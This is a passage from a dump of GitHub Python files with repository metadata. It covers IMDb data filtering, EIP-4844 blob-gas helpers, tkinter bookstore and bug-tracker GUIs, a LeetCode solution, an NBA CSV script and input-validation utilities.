include(auth_urlpatterns)),\n]\n","repo_name":"0z0nize/api_yamdb","sub_path":"api_yamdb/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"21831687918","text":"import pandas as pd\n\n# CHOOSE PATH FOR NEW TSV OUTPUT\nOUTPUT_PATH = '/Users/carl.murray/Documents/cinemate-pp3/movie_data.tsv'\n\n# OPEN IMDB TSV FILES\ndf_basics = pd.read_table('title.basics.tsv', low_memory=False)\ndf_ratings = pd.read_table('title.ratings.tsv', low_memory=False)\n\n# REMOVE UNUSED COLUMNS\ndf_basics.drop(columns=['endYear', 'isAdult', 'originalTitle'], inplace=True)\n\n# FILTER DATA - MOVIES ONLY, MUST HAVE VALID DATA\ndf_basics = df_basics.loc[\n (df_basics['titleType'] == 'movie') &\n (df_basics['runtimeMinutes'] != '\\\\N') &\n (df_basics['genres'] != '\\\\N') &\n (df_basics['startYear'] != '\\\\N')\n]\n\n# CONVERT COLUMNS TO INT\ndf_basics['startYear'] = df_basics['startYear'].astype(int)\ndf_basics['runtimeMinutes'] = df_basics['runtimeMinutes'].astype(int)\n\n# FILTER BY DATE AND RUNTIME\ndf_basics = df_basics.loc[\n (df_basics['runtimeMinutes'] >= 90) &\n (df_basics['startYear'] >= 2000)\n]\n\n# MERGE TSVs - ONLY MOVIES WITH RATINGS INCLUDED\ncombined = pd.merge(df_basics, df_ratings, on='tconst')\n\n# DEFINE OUTPUT COLUMNS\ncolumns = ['primaryTitle', 'startYear', 'runtimeMinutes',\n 'genres', 'averageRating', 'numVotes']\n\n# SET RATING AND VOTES CRITERIA\ncombined = combined.loc[\n (combined['numVotes'] > 50000) &\n (combined['averageRating'] >= 7.0)\n]\n\n# SORT BY NUMVOTES\ncombined = combined.sort_values(by=['numVotes'], ascending=False)\n\n# TRIM TO TOP 1000 MOVIES\ncombined = combined.head(1000)\n\n# OUTPUT TO NEW TSV FILE\ncombined.to_csv(OUTPUT_PATH, sep='\\t', header=True,\n index=False, columns=columns)\n","repo_name":"CarlMurray/cinemate-pp3","sub_path":"data_cleanup.py","file_name":"data_cleanup.py","file_ext":"py","file_size_in_byte":1562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9495463675","text":"\"\"\"\nDefines EIP-4844 specification constants and functions.\n\"\"\"\nfrom dataclasses import dataclass\nfrom hashlib import sha256\nfrom typing import Optional\n\nfrom ethereum_test_tools import Transaction\n\n\n@dataclass(frozen=True)\nclass ReferenceSpec:\n \"\"\"\n Defines the reference spec version and git path.\n \"\"\"\n\n git_path: str\n version: str\n\n\nref_spec_4844 = ReferenceSpec(\"EIPS/eip-4844.md\", \"f0eb6a364aaf5ccb43516fa2c269a54fb881ecfd\")\n\n\n@dataclass(frozen=True)\nclass BlockHeaderBlobGasFields:\n \"\"\"\n A helper class for the blob gas fields in a block header.\n \"\"\"\n\n excess_blob_gas: int\n blob_gas_used: int\n\n\n# Constants\n@dataclass(frozen=True)\nclass Spec:\n \"\"\"\n Parameters from the EIP-4844 specifications as defined at\n https://eips.ethereum.org/EIPS/eip-4844#parameters\n\n If the parameter is not currently used within the tests, it is commented\n out.\n \"\"\"\n\n BLOB_TX_TYPE = 0x03\n FIELD_ELEMENTS_PER_BLOB = 4096\n BLS_MODULUS = 0x73EDA753299D7D483339D80809A1D80553BDA402FFFE5BFEFFFFFFFF00000001\n BLOB_COMMITMENT_VERSION_KZG = 1\n POINT_EVALUATION_PRECOMPILE_ADDRESS = 10\n POINT_EVALUATION_PRECOMPILE_GAS = 50_000\n MAX_BLOB_GAS_PER_BLOCK = 786432\n TARGET_BLOB_GAS_PER_BLOCK = 393216\n MIN_BLOB_GASPRICE = 1\n BLOB_GASPRICE_UPDATE_FRACTION = 3338477\n # MAX_VERSIONED_HASHES_LIST_SIZE = 2**24\n # MAX_CALLDATA_SIZE = 2**24\n # MAX_ACCESS_LIST_SIZE = 2**24\n # MAX_ACCESS_LIST_STORAGE_KEYS = 2**24\n # MAX_TX_WRAP_COMMITMENTS = 2**12\n # LIMIT_BLOBS_PER_TX = 2**12\n GAS_PER_BLOB = 2**17\n HASH_OPCODE_BYTE = 0x49\n HASH_GAS_COST = 3\n\n @classmethod\n def kzg_to_versioned_hash(\n cls,\n kzg_commitment: bytes | int, # 48 bytes\n blob_commitment_version_kzg: Optional[bytes | int] = None,\n ) -> bytes:\n \"\"\"\n Calculates the versioned hash for a given KZG commitment.\n \"\"\"\n if blob_commitment_version_kzg is None:\n blob_commitment_version_kzg = cls.BLOB_COMMITMENT_VERSION_KZG\n if isinstance(kzg_commitment, int):\n kzg_commitment = kzg_commitment.to_bytes(48, \"big\")\n if isinstance(blob_commitment_version_kzg, int):\n blob_commitment_version_kzg = blob_commitment_version_kzg.to_bytes(1, \"big\")\n return blob_commitment_version_kzg + sha256(kzg_commitment).digest()[1:]\n\n @classmethod\n def fake_exponential(cls, factor: int, numerator: int, denominator: int) -> int:\n \"\"\"\n Used to calculate the blob gas cost.\n \"\"\"\n i = 1\n output = 0\n numerator_accumulator = factor * denominator\n while numerator_accumulator > 0:\n output += numerator_accumulator\n numerator_accumulator = (numerator_accumulator * numerator) // (denominator * i)\n i += 1\n return output // denominator\n\n @classmethod\n def calc_excess_blob_gas(cls, parent: BlockHeaderBlobGasFields) -> int:\n \"\"\"\n Calculate the excess blob gas for a block given the excess blob gas\n and blob gas used from the parent block header.\n \"\"\"\n if parent.excess_blob_gas + parent.blob_gas_used < cls.TARGET_BLOB_GAS_PER_BLOCK:\n return 0\n else:\n return parent.excess_blob_gas + parent.blob_gas_used - cls.TARGET_BLOB_GAS_PER_BLOCK\n\n @classmethod\n def get_total_blob_gas(cls, tx: Transaction) -> int:\n \"\"\"\n Calculate the total blob gas for a transaction.\n \"\"\"\n if tx.blob_versioned_hashes is None:\n return 0\n return cls.GAS_PER_BLOB * len(tx.blob_versioned_hashes)\n\n @classmethod\n def get_blob_gasprice(cls, *, excess_blob_gas: int) -> int:\n \"\"\"\n Calculate the blob gas price from the excess.\n \"\"\"\n return cls.fake_exponential(\n cls.MIN_BLOB_GASPRICE,\n excess_blob_gas,\n cls.BLOB_GASPRICE_UPDATE_FRACTION,\n )\n\n\n@dataclass(frozen=True)\nclass SpecHelpers:\n \"\"\"\n Define parameters and helper functions that are tightly coupled to the 4844\n spec but not strictly part of it.\n \"\"\"\n\n BYTES_PER_FIELD_ELEMENT = 32\n\n @classmethod\n def max_blobs_per_block(cls) -> int: # MAX_BLOBS_PER_BLOCK =\n \"\"\"\n Returns the maximum number of blobs per block.\n \"\"\"\n return Spec.MAX_BLOB_GAS_PER_BLOCK // Spec.GAS_PER_BLOB\n\n @classmethod\n def target_blobs_per_block(cls) -> int:\n \"\"\"\n Returns the target number of blobs per block.\n \"\"\"\n return Spec.TARGET_BLOB_GAS_PER_BLOCK // Spec.GAS_PER_BLOB\n\n @classmethod\n def calc_excess_blob_gas_from_blob_count(\n cls, parent_excess_blob_gas: int, parent_blob_count: int\n ) -> int:\n \"\"\"\n Calculate the excess blob gas for a block given the parent excess blob gas\n and the number of blobs in the block.\n \"\"\"\n parent_consumed_blob_gas = parent_blob_count * Spec.GAS_PER_BLOB\n return Spec.calc_excess_blob_gas(\n BlockHeaderBlobGasFields(parent_excess_blob_gas, parent_consumed_blob_gas)\n )\n\n @classmethod\n def get_min_excess_blob_gas_for_blob_gas_price(cls, blob_gas_price: int) -> int:\n \"\"\"\n Gets the minimum required excess blob gas value to get a given blob gas cost in a block\n \"\"\"\n current_excess_blob_gas = 0\n current_blob_gas_price = 1\n while current_blob_gas_price < blob_gas_price:\n current_excess_blob_gas += Spec.GAS_PER_BLOB\n current_blob_gas_price = Spec.get_blob_gasprice(\n excess_blob_gas=current_excess_blob_gas\n )\n return current_excess_blob_gas\n\n @classmethod\n def get_min_excess_blobs_for_blob_gas_price(cls, blob_gas_price: int) -> int:\n \"\"\"\n Gets the minimum required excess blobs to get a given blob gas cost in a block\n \"\"\"\n return cls.get_min_excess_blob_gas_for_blob_gas_price(blob_gas_price) // Spec.GAS_PER_BLOB\n","repo_name":"ethereum/tests","sub_path":"src/BlockchainTestsFiller/Pyspecs/cancun/eip4844_blobs/spec.py","file_name":"spec.py","file_ext":"py","file_size_in_byte":5967,"program_lang":"python","lang":"en","doc_type":"code","stars":481,"dataset":"github-code","pt":"21"} +{"seq_id":"12645321864","text":"# ********* PLANNED FEATURES *********\n\n# 1.) Allow users to create and manage multiple databases.\n# Do this by showing an intro screen which will allow users to either create a new database or select existing database\n\n# 2.) Implement \"viewAll\" function by default so that it is always on. Users will not have to press the button\n# This will also make sure that users don't have to click the \"View All\" button after updating or deleting database\n\n# 3.) Clean up UI and fix the issue of displaying incorrect numbers next to items.\n#\n# ********* END *********\n\nfrom tkinter import *\nimport dbProject_backend as bk\n\n\ndef getSelection(event):\n\n try:\n index = booksList.curselection()[0]\n global curTuple\n curTuple = booksList.get(index)\n\n titleEntryBox.delete(0, END)\n titleEntryBox.insert(END, curTuple[1])\n\n authorEntryBox.delete(0, END)\n authorEntryBox.insert(END, curTuple[2])\n\n yearEntryBox.delete(0, END)\n yearEntryBox.insert(END, curTuple[3])\n\n isbnEntryBox.delete(0, END)\n isbnEntryBox.insert(END, curTuple[4])\n\n except IndexError:\n pass\n\n\ndef viewButton():\n booksList.delete(0, END)\n\n for books in bk.viewAll():\n booksList.insert(END, books)\n\n\ndef search_Button():\n booksList.delete(0, END)\n\n for results in bk.search(titleEntry.get(), authorEntry.get(), yearEntry.get(), isbnEntry.get()):\n booksList.insert(END, results)\n\n\ndef add_button():\n bk.insert(titleEntry.get(), authorEntry.get(),\n yearEntry.get(), isbnEntry.get())\n booksList.delete(0, END)\n booksList.insert(END, (titleEntry.get(), authorEntry.get(),\n yearEntry.get(), isbnEntry.get()))\n\n\ndef delete_Button():\n bk.delete(curTuple[0])\n\n\ndef update_button():\n bk.update(curTuple[0], titleEntry.get(),\n authorEntry.get(), yearEntry.get(), isbnEntry.get())\n\n\nwindow = Tk()\nwindow.wm_title(\"Bookstore\")\n\ntitleLabel = Label(window, text=\"Title\")\ntitleLabel.grid(row=0, column=0)\ntitleEntry = StringVar()\ntitleEntryBox = Entry(window, textvariable=titleEntry)\ntitleEntryBox.grid(row=0, column=1, padx=10, pady=10)\n\nauthorLabel = Label(window, text=\"Author\")\nauthorLabel.grid(row=1, column=0)\nauthorEntry = StringVar()\nauthorEntryBox = Entry(window, textvariable=authorEntry)\nauthorEntryBox.grid(row=1, column=1)\n\nyearLabel = Label(window, text=\"Year\")\nyearLabel.grid(row=0, column=2)\nyearEntry = StringVar()\nyearEntryBox = Entry(window, textvariable=yearEntry)\nyearEntryBox.grid(row=0, column=3)\n\nisbnLabel = Label(window, text=\"ISBN\")\nisbnLabel.grid(row=1, column=2)\nisbnEntry = StringVar()\nisbnEntryBox = Entry(window, textvariable=isbnEntry)\nisbnEntryBox.grid(row=1, column=3)\n\nbooksList = Listbox(window, height=6, width=36)\nbooksList.grid(row=2, column=0, rowspan=6, columnspan=2)\n\nlistScroller = Scrollbar(window)\nlistScroller.grid(row=2, column=2, rowspan=6)\n\nbooksList.configure(yscrollcommand=listScroller.set)\nlistScroller.configure(command=booksList.yview)\n\nbooksList.bind('<<ListboxSelect>>', getSelection)\n\nviewAllButton = Button(window, text=\"View All\", width=\"12\", command=viewButton)\nviewAllButton.grid(row=2, column=3, padx=10, pady=5)\n\nsearchButton = Button(window, text=\"Search\", width=\"12\", command=search_Button)\nsearchButton.grid(row=3, column=3, padx=10, pady=5)\n\naddButton = Button(window, text=\"Add\", width=12, command=add_button)\naddButton.grid(row=4, column=3, padx=10, pady=5)\n\nupdateButton = Button(window, text=\"Update\", width=\"12\", command=update_button)\nupdateButton.grid(row=5, column=3, padx=10, pady=5)\n\ndeleteButton = Button(window, text=\"Delete\", width=\"12\", command=delete_Button)\ndeleteButton.grid(row=6, column=3, padx=10, pady=5)\n\ncloseButton = Button(window, text=\"Close\", width=\"12\", command=window.destroy)\ncloseButton.grid(row=7, column=3, padx=10, pady=5)\n\nwindow.mainloop()\n","repo_name":"Iftekhar016/Inventory-Management-App","sub_path":"dbProject_frontend_v1.py","file_name":"dbProject_frontend_v1.py","file_ext":"py","file_size_in_byte":3872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38921370899","text":"import mysql.connector\nimport tkinter as tk\nimport tkinter.ttk\nfrom report import *\n\nclass Menu(object):\n def __init__(self, connection):\n self._bug = Bug(connection)\n #Setup menu\n self.root = tk.Tk()\n self.root.title(\"Bug Tracker\")\n self.frame = tk.Frame(self.root)\n self.frame.pack(padx = 50, pady = 50)\n #Create grid headings\n columns = [\"ID\", \"Type\", \"Title\", \"Assigned to\", \"Priority\", \"Status\", \"Description\"]\n self.tree = tkinter.ttk.Treeview(self.frame, columns = columns, show = \"headings\")\n self.tree.grid(in_=self.frame, row = 0, column = 0, columnspan = 5, sticky = tk.NSEW)\n for column in columns:\n self.tree.heading(column, text = column.title())\n self.tree.bind(\"<Double-1>\", self.edit_bug)\n self.menu_buttons()\n self.list_bugs()\n self.root.mainloop()\n\n def menu_buttons(self):\n #Add bug report buttons\n add_button = tk.Button(self.frame, text = \"Add Bug Report\", command = self.add_bug, width = 20)\n add_button.grid(in_= self.frame, row = 1, column = 0, sticky = tk.W)\n #Exit button\n exit_button = tk.Button(self.frame, text = \"Exit\", command = self.close, width = 20)\n exit_button.grid(in_= self.frame, row = 1, column = 4, sticky = tk.E)\n #Remove bug report button\n remove_button = tk.Button(self.frame, text = \"Remove Bug Report\", command = None, width = 20)\n remove_button.grid(in_= self.frame, row = 1, column = 2)\n\n def list_bugs(self):\n #Populate and refresh data\n self.tree.delete(*self.tree.get_children())\n for bug in self._bug.list_bugs():\n values = (bug.id, bug.types, bug.title, bug.assigned_to, bug.priority, bug.status, bug.description)\n self.tree.insert(\"\", \"end\", values = values)\n\n def add_bug(self):\n bug = Data(\"\",\"\",\"\",\"\",\"\",\"\",\"\")\n self.view_bug(bug, self._save_bug)\n\n def _save_bug(self, bug):\n self._bug.add(bug)\n self.list_bugs()\n\n def edit_bug(self, event):\n item = self.tree.item(self.tree.focus())\n item_id = item[\"values\"][0]\n item_bug_type = item[\"values\"][1]\n item_title = item[\"values\"][2]\n item_assigned_to = item[\"values\"][3]\n item_priority = item[\"values\"][4]\n item_bug_status = item[\"values\"][5]\n item_description = item[\"values\"][6]\n bug = Data(item_id, item_bug_type, item_title, item_assigned_to, item_priority, item_bug_status, item_description)\n self.view_bug(bug, self._update_bug)\n\n def _update_bug(self, bug):\n self._bug.update(bug)\n self.list_bugs()\n\n def view_bug(self, bug, action):\n window = EditWindow(self, bug, action)\n self.root.wait_window(window.root)\n\n def close(self):\n self.root.destroy()\n\nclass EditWindow(object):\n def __init__(self, parent, bug, saveAction):\n self._parent = parent.root\n self.root = tk.Toplevel(parent.root)\n self.root.title(\"Bug report\")\n self.root.transient(parent.root)\n self.root.grab_set()\n self.saveAction = saveAction\n self._bug = bug\n\n self.frame = tk.Frame(self.root)\n self.frame.pack(side = tk.TOP, fill = tk.BOTH, expand = tk.Y, padx= 10, pady = 10)\n\n last_row = self.add_widgets(bug)\n self._save_button = tk.Button(self.frame, text = \"Save\", command = self.save_bugs, width = 20, padx = 5, pady = 5)\n self._save_button.grid(in_ = self.frame, row = last_row + 7, column = 1, sticky = tk.E)\n\n exit_button = tk.Button(self.frame, text = \"Close\", command = self.close, width = 20, padx = 5, pady = 5)\n exit_button.grid(in_ = self.frame, row = last_row + 8, column = 1, sticky = tk.E)\n \n def close(self):\n self.root.destroy()\n\n def add_widgets(self, bug):\n #Assign Labels\n bug_type = tk.Label(self.frame, text = \"Type:\", width = 10, padx = 10, pady = 10)\n bug_type.grid(in_= self.frame, row = 0, column = 0, sticky = tk.E)\n\n title = tk.Label(self.frame, text = \"Title:\", width = 10, padx = 10, pady = 10)\n title.grid(in_ = self.frame, row = 1, column = 0, sticky = tk.E)\n\n assigned_to = tk.Label(self.frame, text = \"Assigned to:\", width = 10 , padx = 10, pady = 10)\n assigned_to.grid(in_ = self.frame, row = 2, column = 0, sticky = tk.E)\n\n priority = tk.Label(self.frame, text = \"Priority:\", width = 10, padx = 10, pady = 10)\n priority.grid(in_ = self.frame, row = 3, column = 0, sticky = tk.E)\n\n bug_status = tk.Label(self.frame, text = \"Status:\", width = 10, padx = 10, pady= 10)\n bug_status.grid(in_ = self.frame, row = 4, column = 0, sticky = tk.E)\n\n description = tk.Label(self.frame, text = \"Description:\", width = 10, padx = 10, pady = 10)\n description.grid(in_ = self.frame, row = 5, column = 0, sticky = tk.E)\n \n\n #Assign components\n self.tkvar1 = tk.StringVar()\n choices = {\"Defect\", \"Enchancement\", \"Task\"}\n if self._bug.types == \"Defect\":\n self.tkvar1.set(\"Defect\")\n elif self._bug.types == \"Enchancement\":\n self.tkvar1.set(\"Enchancement\")\n elif self._bug.types == \"Task\":\n self._tkvar1.set(\"Task\")\n else:\n self.tkvar1.set(\"<Select an option>\")\n self.type_option = tk.OptionMenu(self.frame, self.tkvar1, *choices)\n self.type_option.grid(in_ = self.frame, row = 0, column = 1, sticky = tk.W)\n\n self.title_entry = tk.Entry(self.frame, width = 30)\n self.title_entry.grid(in_ = self.frame, row = 1, column = 1, sticky = tk.W)\n if self._bug.title != \"\":\n self.title_entry.insert(tk.END, self._bug.title)\n \n\n self.assigned_to_entry = tk.Entry(self.frame, width = 30)\n self.assigned_to_entry.grid(in_ = self.frame, row = 2, column = 1, sticky = tk.W)\n if self._bug.assigned_to != \"\":\n self.assigned_to_entry.insert(tk.END, self._bug.assigned_to)\n\n self.tkvar2 = tk.StringVar()\n selection = {\"Low\", \"Medium\", \"High\"}\n if self._bug.priority == \"Low\":\n self.tkvar2.set(\"Low\")\n elif self._bug.priority == \"Medium\":\n self.tkvar2.set(\"Medium\")\n elif self._bug.priority == \"High\":\n self.tkvar2.set(\"High\")\n else:\n self.tkvar2.set(\"<Select an option>\")\n self.priority_option = tk.OptionMenu(self.frame, self.tkvar2, *selection)\n self.priority_option.grid(in_ = self.frame, row = 3, column = 1, sticky = tk.W)\n\n self.tkvar3 = tk.StringVar()\n options = {\"New\", \"Assigned\", \"Closed\", \"Reopened\", \"Fixed\", \"Invalid\", \"Duplicate\", \"Won't fix\"}\n if self._bug.status == \"New\":\n self.tkvar3.set(\"New\")\n elif self._bug.status == \"Assigned\":\n self.tkvar3.set(\"Assigned\")\n elif self._bug.status == \"Closed\":\n self.tkvar3.set(\"Closed\")\n elif self._bug.status == \"Reopened\":\n self.tkvar3.set(\"Reopened\")\n elif self._bug.status == \"Fixed\":\n self.tkvar3.set(\"Fixed\")\n elif self._bug.status == \"Invalid\":\n self.tkvar3.set(\"Invalid\")\n elif self._bug.status == \"Duplicate\":\n self.tkvar3.set(\"Duplicate\")\n elif self._bug.status == \"Won't fix\":\n self.tkvar3.set(\"Won't fix\")\n else:\n self.tkvar3.set(\"<Select an option>\")\n self.bug_status_option = tk.OptionMenu(self.frame, self.tkvar3, *options)\n self.bug_status_option.grid(in_ = self.frame, row = 4, column = 1, sticky = tk.W)\n\n self.description_text = tk.Text(self.frame, width = 30, height = 5)\n self.description_text.grid(in_ = self.frame, row = 5, column = 1, sticky = tk.W)\n if self._bug.description != \"\":\n self.description_text.insert(tk.END, self._bug.description)\n return -1\n\n def save_bugs(self):\n self._bug.types = self.tkvar1.get()\n\n if self.title_entry.get() != \"\":\n self._bug.title = self.title_entry.get()\n else:\n self._bug.title = \"<None>\"\n\n if self.assigned_to_entry.get() != \"\":\n self._bug.assigned_to = self.assigned_to_entry.get()\n else:\n self._bug.assigned_to = \"<None>\"\n\n self._bug.priority = self.tkvar2.get()\n self._bug.status = self.tkvar3.get()\n\n if self.description_text.get(\"1.0\", \"end-1c\") != \"\":\n self._bug.description = self.description_text.get(\"1.0\", \"end-1c\")\n else:\n self._bug.description = \"<No Description>\"\n\n self.saveAction(self._bug)\n self.close()\n\nif __name__ == '__main__':\n print(\"Intialising application\")\n connection = mysql.connector.connect(user='root', database='bug_tracker', charset='utf8')\n print(\"Application connected\")\n Menu(connection)\n connection.close()\n\n\n","repo_name":"Carlos-Cao/Bug-Tracker","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18404326729","text":"import unittest;\nimport functools\n\n\ndef get_sol(): return Solution()\nclass Solution:\n # tle\n def getLengthOfOptimalCompression(self, s: str, k: int) -> int:\n @functools.lru_cache(None)\n def getLi(s:str):\n n=len(s)\n i=0\n li=[]\n while i<n:\n j=i\n while j<n and s[j]==s[i]:\n j+=1\n li.append((s[i],j-i))\n i=j\n return li\n def getS(li):\n return ''.join([c*freq for c,freq in li])\n @functools.lru_cache(None)\n def getEncodingLength(s:str):\n n=len(s)\n i=0\n res=0\n while i<n:\n j=i\n while j<n and s[j]==s[i]:\n j+=1\n if j-i>1:\n res+=1+len(str(j-i))\n else:\n res+=1\n i=j\n return res\n @functools.lru_cache(None)\n def f(s:str,k:int):\n if k==0:\n return getEncodingLength(s)\n if k<0:\n return float('inf')\n res=float('inf')\n res=min(res,getEncodingLength(s))\n li=getLi(s)\n for i,(c,freq) in enumerate(li):\n newLi=li[:i]+[[c,li[i][1]-1]]+li[i+1:]\n newLi2=li[:i]+li[i+1:]\n newLi3=li[:i]+[[c,1]]+li[i+1:]\n res=min(res,f(getS(newLi),k-1))\n res=min(res,f(getS(newLi2),k-freq))\n if freq>1 and freq<=k:\n res=min(res,f(getS(newLi3),k-(freq-1)))\n return res\n\n return f(s,k)\n\n\nclass MyTestCase(unittest.TestCase):\n def test01(self):\n self.assertEqual(4, get_sol().getLengthOfOptimalCompression(\"aaabcccd\",2))\n def test02(self):\n self.assertEqual(2, get_sol().getLengthOfOptimalCompression(\"aabbaa\", 2))\n def test03(self):\n self.assertEqual(3, get_sol().getLengthOfOptimalCompression(\"aaaaaaaaaaa\", 0))\n def test04(self):\n self.assertEqual(1, get_sol().getLengthOfOptimalCompression(\"abc\", 2))\n def test05(self):\n self.assertEqual(4, get_sol().getLengthOfOptimalCompression(\"llllllllllttttttttt\", 1))\n def test06(self):\n self.assertEqual(4, get_sol().getLengthOfOptimalCompression(\"abcdefghijklmnopqrstuvwxyz\", 16))\n\n","repo_name":"afzalsiddique/problem-solving","sub_path":"Problem_Solving_Python/leetcode/lc1531.py","file_name":"lc1531.py","file_ext":"py","file_size_in_byte":2357,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"2767087818","text":"from csv import DictWriter, reader, writer, DictReader\n\ndef addHeader(id, name, team, age, height, weight):\n with open(\"nba-players.csv\", \"a\", encoding=\"utf-8\", newline=\"\") as csvFile:\n fields = {\n \"Header1\": id,\n \"Header2\" : name,\n \"Header3\" : team,\n \"Header4\" : age,\n \"Header5\" : height,\n \"Header6\" : weight\n }\n dWriter = DictWriter(csvFile, fieldnames=fields)\n dWriter.writerow(fields)\n\ndef addPlayer(id, name, team, age, height, weight):\n with open(\"nba-players.csv\", \"a\", encoding=\"utf-8\", newline=\"\") as csvFile:\n datas = {\n \"Id\": id,\n \"Name\": name,\n \"Team\": team,\n \"Age\": age,\n \"Height\": height,\n \"Weight\": weight\n }\n dWriter = DictWriter(csvFile, fieldnames=datas)\n dWriter.writerow(datas)\n\ndef countPlayer():\n with open(\"nba-players.csv\", encoding=\"utf-8\", newline=\"\") as csvFile:\n cReader = reader(csvFile)\n result = list(cReader)\n return len(result)\n\n\ndef getAllPlayers():\n with open(\"nba-players.csv\", encoding=\"utf-8\", newline=\"\") as csvFile:\n dReader = DictReader(csvFile)\n for row in dReader:\n print(\n f\"{row['Id']}\\t{row['Name']}\\t{row['Team']}\\t{row['Age']}\\t{row['Height']} mt.\\t{row['Weight']} kg.\")\n\nprint(\"-\" * 30)\nprint(\"\"\"\n Welcome to NBA Otomation,\n\n 1- with Add Header\n 2- with Add Player\n 3- with Get All Players\n\n Quit('quit', 'q', 'Q')\n\"\"\")\n\nprint(\"-\" * 30)\n\nwhile True:\n select = input(\"Please Select What Do you Want : \")\n if select == \"q\" or select == \"quit\" or select == \"Q\" or select == \"Quit\":\n print(\"Bye!\")\n break\n elif select == \"1\":\n fields = {\n \"Header1\": input(\"Add Header: \"),\n \"Header2\": input(\"Add Header: \"),\n \"Header3\": input(\"Add Header: \"),\n \"Header4\": input(\"Add Header: \"),\n \"Header5\": input(\"Add Header: \"),\n \"Header6\": input(\"Add Header: \")\n }\n addHeader(\n fields[\"Header1\"],\n fields[\"Header2\"],\n fields[\"Header3\"],\n fields[\"Header4\"],\n fields[\"Header5\"],\n fields[\"Header6\"]\n )\n elif select == \"2\":\n datas = {\n \"Name\": input(\"Enter the name information: \"),\n \"Team\": input(\"Enter the team information: \"),\n \"Age\": input(\"Enter the age information: \"),\n \"Height\": input(\"Enter the height information: \"),\n \"Weight\": input(\"Enter the height information: \")\n }\n addPlayer(\n countPlayer()-1,\n datas[\"Name\"],\n datas[\"Team\"],\n datas[\"Age\"],\n datas[\"Height\"],\n datas[\"Weight\"]\n )\n elif select== \"3\":\n getAllPlayers()","repo_name":"ramazansen1/creating-nba-players-list-with-csv-file","sub_path":"nba-players.py","file_name":"nba-players.py","file_ext":"py","file_size_in_byte":2826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11825116655","text":"#!/usr/bin/env python3\n\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Dec 6 15:36:22 2021\n\n@author: rv43\n\"\"\"\n\nimport logging\n\nimport os\nimport sys\nimport re\nimport yaml\ntry:\n import h5py\nexcept:\n pass\nimport numpy as np\ntry:\n import matplotlib.pyplot as plt\n from matplotlib.widgets import Button\nexcept:\n pass\n\nfrom ast import literal_eval\nfrom copy import deepcopy\nfrom time import time\n\n\ndef depth_list(L): return isinstance(L, list) and max(map(depth_list, L))+1\ndef depth_tuple(T): return isinstance(T, tuple) and max(map(depth_tuple, T))+1\ndef unwrap_tuple(T):\n if depth_tuple(T) > 1 and len(T) == 1:\n T = unwrap_tuple(*T)\n return T\n \ndef illegal_value(value, name, location=None, exit_flag=False):\n if not isinstance(location, str):\n location = ''\n else:\n location = f'in {location} '\n if isinstance(name, str):\n logging.error(f'Illegal value for {name} {location}({value}, {type(value)})')\n else:\n logging.error(f'Illegal value {location}({value}, {type(value)})')\n if exit_flag:\n raise ValueError\n\ndef is_int(v, v_min=None, v_max=None):\n \"\"\"Value is an integer in range v_min <= v <= v_max.\n \"\"\"\n if not isinstance(v, int):\n return False\n if v_min is not None and not isinstance(v_min, int):\n illegal_value(v_min, 'v_min', 'is_int') \n return False\n if v_max is not None and not isinstance(v_max, int):\n illegal_value(v_max, 'v_max', 'is_int') \n return False\n if v_min is not None and v_max is not None and v_min > v_max:\n logging.error(f'Illegal v_min, v_max combination ({v_min}, {v_max})')\n return False\n if (v_min is not None and v < v_min) or (v_max is not None and v > v_max):\n return False\n return True\n\ndef is_int_pair(v, v_min=None, v_max=None):\n \"\"\"Value is an integer pair, each in range v_min <= v[i] <= v_max or \n v_min[i] <= v[i] <= v_max[i].\n \"\"\"\n if not (isinstance(v, (tuple, list)) and len(v) == 2 and isinstance(v[0], int) and\n isinstance(v[1], int)):\n return False\n if v_min is not None or v_max is not None:\n if (v_min is None or isinstance(v_min, int)) and (v_max is None or isinstance(v_max, int)):\n if True in [True if not is_int(vi, v_min=v_min, v_max=v_max) else False for vi in v]:\n return False\n elif is_int_pair(v_min) and is_int_pair(v_max):\n if True in [True if v_min[i] > v_max[i] else False for i in range(2)]:\n logging.error(f'Illegal v_min, v_max combination ({v_min}, {v_max})')\n return False\n if True in [True if not is_int(v[i], v_min[i], v_max[i]) else False for i in range(2)]:\n return False\n elif is_int_pair(v_min) and (v_max is None or isinstance(v_max, int)):\n if True in [True if not is_int(v[i], v_min=v_min[i], v_max=v_max) else False\n for i in range(2)]:\n return False\n elif (v_min is None or isinstance(v_min, int)) and is_int_pair(v_max):\n if True in [True if not is_int(v[i], v_min=v_min, v_max=v_max[i]) else False\n for i in range(2)]:\n return False\n else:\n logging.error(f'Illegal v_min or v_max input ({v_min} {type(v_min)} and '+\n f'{v_max} {type(v_max)})')\n return False\n return True\n\ndef is_int_series(l, v_min=None, v_max=None):\n \"\"\"Value is a tuple or list of integers, each in range v_min <= l[i] <= v_max.\n \"\"\"\n if v_min is not None and not isinstance(v_min, int):\n illegal_value(v_min, 'v_min', 'is_int_series') \n return False\n if v_max is not None and not isinstance(v_max, int):\n illegal_value(v_max, 'v_max', 'is_int_series') \n return False\n if not isinstance(l, (tuple, list)):\n return False\n if True in [True if not is_int(v, v_min=v_min, v_max=v_max) else False for v in l]:\n return False\n return True\n\ndef is_num(v, v_min=None, v_max=None):\n \"\"\"Value is a number in range v_min <= v <= v_max.\n \"\"\"\n if not isinstance(v, (int, float)):\n return False\n if v_min is not None and not isinstance(v_min, (int, float)):\n illegal_value(v_min, 'v_min', 'is_num') \n return False\n if v_max is not None and not isinstance(v_max, (int, float)):\n illegal_value(v_max, 'v_max', 'is_num') \n return False\n if v_min is not None and v_max is not None and v_min > v_max:\n logging.error(f'Illegal v_min, v_max combination ({v_min}, {v_max})')\n return False\n if (v_min is not None and v < v_min) or (v_max is not None and v > v_max):\n return False\n return True\n\ndef is_num_pair(v, v_min=None, v_max=None):\n \"\"\"Value is a number pair, each in range v_min <= v[i] <= v_max or \n 